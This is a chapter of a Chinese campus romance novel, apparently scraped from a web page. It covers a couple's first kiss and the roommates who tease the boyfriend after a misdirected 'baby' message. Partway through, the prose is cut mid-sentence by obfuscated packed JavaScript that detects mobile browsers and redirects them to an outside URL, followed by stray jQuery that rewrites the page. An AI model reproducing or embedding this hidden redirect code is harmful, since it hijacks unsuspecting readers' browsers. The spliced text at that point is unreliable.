夏醒棉感觉自己的心跳很快。郊外的夜晚漆黑,不像学校里,这里连路灯都没有,即便睁开眼,也几乎什么都看不清楚,包括陆掖也看不清楚。但是她能很明显地感觉到陆掖的温度,他的触碰,他的体温,还有他几乎粗鲁的亲吻。
她攥紧了陆掖的衣服。
夜晚的风要比白日凉了许多。
夏醒棉的头发长长了,越过肩膀,披散在后背的衣服上。但后脑的头发并没有在树干上摩擦,被陆掖的手掌握住。
夏醒棉以前只知道陆掖高,但是真的要和他配合接吻时,才从身体的层面有了更具象化的认识。她能感觉到他低头,她要一直抬着下巴。
草丛里似乎有什么小动物的叫声在夜晚里偶尔响起。
夏醒棉突然推开他,问:“你干什么?”
陆掖被她推开,但是额头还抵着她的,他的嘴角带着一点潮湿感,说:“接吻啊。”
夜晚掩盖了夏醒棉耳朵后面的红晕,她说:“那你为什么?为什么要……我张嘴。”
他捏着她下巴的手有要扣开她嘴唇的动作。
陆掖的声音混杂着一点笑,声音压着,在黑夜里却很清楚,低头问她:“不张嘴怎么接吻。”
夏醒棉:“……”
他刚刚探进来时,有太明显的探入感,像是自己最安全的领地被侵犯,夏醒棉说:“不要。”
陆掖的手揉揉她的脑袋,安抚一样地劝说:“都是这样的,乖。”
夏醒棉问他:“你怎么知道的?”
陆掖说:“我学的。”
“……”,夏醒棉:“我不信。”
陆掖:“真的,我在书上学的。”
夏醒棉:“撒谎。”
陆掖:“电子媒介上有很多。”
夏醒棉:“……”
听他说起来头头是道,夏醒棉问他:“你和别人接过吻吗?”
听她这么问,陆掖甚至也想掐她一下,反问她:“你说呢?我追了谁三年多?”
“我都经历过什么异性行为,谁还能比你清楚?”
夏醒棉心跳一会觉得缓解了些一会又觉得快,但是一想到刚才那种湿润黏腻的感受,她还是坚持说:“我不要。”
但她也没把话说死,说:“以、以后的。”
陆掖摸摸她的脑袋:“你是什么感情乌龟吗?连接吻都要比别人慢。”
他又说她是。感。情。乌。龟。
夏醒棉想掐他,但是忍住了:“你怎么知道别人是怎么做的?”
陆掖说:“都说了,我看过。”
“我为了今天学的。”
夏醒棉:“.…..”
这。都。是。什。么。话。
陆掖:“试试,行吗?”
他的声音很有诱惑力,但是,夏醒棉的心还是有不少的慌张感,她心理上刚刚接受一段关系,而从视觉和体感上来说,周围太陌生太漆黑了。
她还是拒绝说:“不要。”
“我看不见你。”
陆掖声音里含着笑:“一定要看见我才行吗?”
夏醒棉:“嗯。”
但可能陆掖的声音太诚恳,他握着她脑袋的手给他一种保护和包容的感受,夏醒棉拒绝完又退了一步,补充说:“这次不要,…下次。”
陆掖笑了一下,说:“行,下次。”
他同意得太爽快了,爽快到让夏醒棉觉得自己上当受骗。
夏醒棉:“你……”
陆掖:“我怎么?”
“……”
陆掖提醒她:“不想张嘴,那你注意点,不能说话了。”
夏醒棉推着他的手在他贴近时向后,直到没有再退的空间,她竖起胳膊,抓住他的衣服。
她闭着嘴角,但人还挺乖的,在他把她得脑袋又压过来时,她自己稍稍抬了下巴配合。
他和她接吻,比预计中迟到了快三年。
今天她在帐篷前叫住他,像是一个尽忠职守的爱情守卫似的,手里拿着盾牌,挡在她室友的爱情前面,告诉他不许往前迈一步,不许打扰。
他也是一个忠诚的守卫,在寒冬里寸步不让,直到终于守到他的公主,允许他的牵手,允许他的亲吻,允许他的拥抱。
周末时,陆掖去公司加班。
他爸妈要去国外但迟迟没有动身,他和他爸妈说了,他们要是打算不走了的话,他就不实习了,谁不想再多磨蹭两年,能懒一天是一天。
他爸问他能不能有点出息,告诉他还是会走的,只是他妈在处理点事情,办完事情以后就走。
那没办法,陆掖就还是像去年一样,公司学校两头跑。
从公司出来的这个时间点天将将要黑,但今天不是工作日,所以下班时间也不堵车,他叫了一辆车回学校。
上车时给今天和室友们去逛街的夏醒棉发消息:【宝宝,你回宿舍了吗?】
信息发出去,他告诉开车的师傅去江大东门。
车开出没有两分钟,陆掖的手机嗡嗡的开始震动,不是电话的那种持续震动,而是信息过于频繁而导致的类似于电话铃声的持续震动。
震得他手心和膝盖上都麻了。
他把手机界面翻起来,发现消息轰炸来自于他们的宿舍群,还都是语音,一条文字都没有。
周末加了一天班,他也有些累的往后靠在车的后座椅上,有些懒散的阖上眼眸。虽然今天周末办公室没什么本,但他穿的还是比在学校时稍微正式些。
拇指随意的从第一条消息开始点,想听听看这群人又闹出什么花儿了,一下子发这么多话。
但他刚听了一条,后背就嗖的从座椅上弹起来,像是那后面有电流似的。
蒋绅凯的声音干脆且响亮:“我操?”
李明宇问:“陆哥,你在问我吗?我回宿舍了啊。”
齐泽音说:“你确定陆哥在叫你吗?你确定的话我要报警啦。”
陆掖又看了一眼手机界面,
我操,
他刚刚给夏醒棉发的消息,不小心发到宿舍群里去了。
让他们看见了。
这。帮。货。
事实上这三个人大周末的也没出门,全都在宿舍里待着。蒋绅凯拿着热水壶往泡脚盆里面倒热水,看着这条信息,手上一抖加的热水差点把他烫秃噜皮。
李明宇和齐泽音在抢一碗凉皮吃。
李明宇先吃了一口,齐泽音把碗端过去,刚要吃,李明宇看了一眼手机,一个激动,“我操”一声,把那碗凉皮打翻了,齐泽音一口没吃着,淋了一身。
陆掖看着手机界面的消息,手指点上那条【宝宝,你回宿舍了吗?】想要撤回。
但发出时间超过2分钟,已经撤不回了。
不过他也知道,现在撤回也没个屁用,这三个货都看见了。
拇指刚从手机界面挪走,手机界面提示来了视频通话邀请,邀请方就是来他们那三个没人性的室友。
陆掖和夏醒棉在一起,也就是刚从踏青回来的事儿,陆掖还没跟他们说。
虽然自从踏青回来后陆掖每天都跟着夏醒棉,拿齐泽音的话来说,就像是哪朵花的边上没有蜜蜂,拿蒋绅凯的话来说就是像小狗每天都要跟着主人似的,反正基本上过去快三年时间,每天也都是这么过的,他们都见怪不怪了。
陆掖想着索性就告诉他们自己和夏醒棉在一起了的事情吧,也省得他们再替他操心。
他咳了一声,清了清嗓子,带着一种正式的好像要宣布重大消息的姿态,接通视频通话。但是还没等说话,视频那头的屏幕上凑出来三个脑袋,像是什么动物抢食一样,都使劲儿的往前挤。三个人异口同声的叫他“宝宝,宝宝,宝宝”,扯着嗓子喊。
声音此起彼伏的响亮,震得车厢内像放了个循环播放的音响似的。
陆掖下意识看了前排开车的司机师傅一眼,两个人的目光在后视镜里交汇,陆掖虽然个性嚣张,但却也不是大大咧咧的性格,有时候还挺细腻——比如现在,耳根子一热,本能自我保护,或者本能要脸似的,把电话掐断。
紧接着手机从震动调成静音。
不理这帮人再给他发语音还是视频的,一律不接。
这帮货。
夏醒棉和室友们去逛街还没回来。
陆掖的车都开到江大东门了,他也没别的地方去。
犹豫过要不再回公司加个班,但是都加了一天都要吐了。
他把手揣到上衣口袋,还是回宿舍了。
到宿舍,迈着步子上台阶,走到门口时陆掖还打算的好好地,他计划进去后安安静静的,往自己的座位上一坐,刷会手机,实在不行看会书,就算这帮傻逼再怎么调侃他,他全当夏天的蝉叫唤,不搭理他们。
手在门把上停留了两秒钟后,推开门,他垂着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812650|175315||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
视线往里进谁也没看。
他刚往宿舍内迈了一步时,耳边的叫声就像是八百只蝉装音响里了朝他砸过来似的:
“宝宝,你回来啦。”
“宝宝,你回宿舍啦”,
“宝宝。”
卧槽,
陆掖掉头就走。
谁他妈能做明白这个心理建设。
陆掖人都回到了楼道里,打算去大街上住一晚,但他们三个还不能放过他。
三个人丢下手里的东西,拖鞋都没穿的跑出去,去追他们一口一个的“宝宝”。
蒋绅凯倒是踩着了一只拖鞋,直接从后跳到陆掖的后背上,跳上去的时候拖鞋也甩出去了,白穿。
他勒着陆掖的肩膀问他:“宝宝,你去哪儿呀?”
陆掖的耳根子又红,抓着他从后勒过来的手臂:“你他妈有完没完?”
蒋绅凯:“宝宝,你怎么生气了呀?宝宝。”
三个人到底是没放过他,在宿舍楼道里三个人一起上把人给放到了,又一起把人抬进来。一个人抬着他的肩膀,两个人分别抬着他的两条腿,硬是给抬回了宿舍里。
最后的最后,他们“宝宝”了八百遍嗓子都因为快速发音冒烟了时,陆掖以请这三个货出去吃烧烤,庆祝他结束单身而消停下来。
烧烤和啤酒是夏天学校周边的传统配置。
人生的很多阶段都有烧烤啤酒,每个阶段的烧烤啤酒都很好吃,但是只有二十岁时的烧烤啤酒会觉得你吹的牛逼都是希望,你在啤酒瓶里畅想的都是未来。
陆掖把人追到了,但这三个人却兴奋得跟中彩票了似的,都喝多了。
夏醒棉给陆掖回电话时已经是晚上十点多。陆掖连上蓝牙耳机,把手机放兜里,一边把这三个人揪着衣服拎起来,趁着熄灯前回宿舍,一边问夏醒棉:“今天去哪儿玩了?”
夏醒棉说:“逛街,还买了两条裙子。”
这是以前在追她时,她不会和他分享的日常,比如逛街的时候买了什么,今天午饭吃了什么,和谁一起吃的,师傅的手艺好不好,还是手抖了盐放多了。
追她时,夏醒棉不和他分享这些细节,追到了,她愿意和他分享她的心情。
追到她,他比这三个货更开心。
但现在他要把他们一个个的抬回宿舍。
夏醒棉听见陆掖电话那头有动静,好像在说着什么“陆哥,恭喜你呀”,“陆哥,你的宝宝掉地上了”之类的。
夏醒棉还没有适应“宝宝”这个称呼,每次陆掖这么叫她时,她都会思考两秒,心口像是有微弱的电流,酥酥麻麻的,等那种感觉过去,她再回他的消息。
但她是接受这个称呼的。
夏醒棉问:“他们怎么了?”
陆掖说:“都喝多了。”
夏醒棉问:“那你呢?”
陆掖一手结了账,一手扶着赖他身上了似的李明宇,说:“我哪有他们这么不懂事。”
夏醒棉拉着长音“嗯”了一声,带着这话我可不信的音调。她可知道他什么样,两个人第一次见面,没多久他就把她堵在巷子里。
懂事。
这个词和陆掖就算不是反义词,肯定也不是一个派系的。
陆掖可能也觉得自己的话像是踩着高跷站不住脚,他说:“你也可以理解为单纯酒量好。”
夏醒棉的笑声通过蓝牙耳机的听筒传到陆掖的耳朵里。
很亲切,很温柔,也每次都带着轻微抚摸心跳的感受。
回寝室的路上,陆掖像是要管三个不倒翁,关键是这三个不倒翁晃来晃去的还真他妈会倒。他一会儿挪一下左边的这个,一会儿把右边的那个摆正,让他们都往直线的走,别动不动就往草丛里面钻。
夏醒棉说:“他们喝醉了还挺有意思的,听他们说话都像小孩儿。”
陆掖说:“等你真见着他们,三个一米八的个子连路都走不稳的时候,你就不觉得他们是小孩儿了。”
陆掖带着蓝牙耳机,断断续续的和夏醒棉聊天,偶尔也会话没说完的“哎呦”“我草”一声,被身边的人抓去注意力。
校园里的夏天很安静,小路上路灯也还为学生们亮着。
夏醒棉形容室友们是小孩儿,陆掖说:“我们两个不是也有小孩儿吗?”
夏醒棉:“什么?”
陆掖说:“果冻啊,果冻不是我们两个的孩子吗?”